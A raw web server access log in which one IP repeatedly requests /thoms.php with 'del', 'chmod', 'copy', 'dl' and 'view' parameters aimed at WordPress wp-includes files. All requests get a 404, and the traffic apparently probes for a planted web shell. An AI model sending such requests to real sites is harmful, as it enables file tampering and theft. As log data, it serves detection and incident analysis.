45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?del=feed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpost.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpost.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?dl=query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?del=PHPMailer&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frewrite.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frewrite.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?del=rss-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?del=nav-menu-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftemplate.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftemplate.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?dl=vars.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?dl=author-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?chmod=default-filters.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?del=ms-blogs.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fmedia-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fmedia-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?dl=nav-menu.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?dl=robots-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frest-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?dl=class-smtp.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:10 -0400] "GET /thoms.php?del=rest-api&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rest-api&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?chmod=general-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?del=class-wp-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?dl=https-migration.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?del=rest-api.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fshortcodes.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fshortcodes.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?chmod=PHPMailer&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fabilities-api.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fabilities-api.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?dl=rss-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftaxonomy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftaxonomy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?del=ms-deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?dl=rss.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fview-config.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fview-config.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?chmod=widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?dl=cron.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?del=date.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=date.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?del=assets&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=assets&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=functions.wp-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=functions.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:12 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fl10n HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
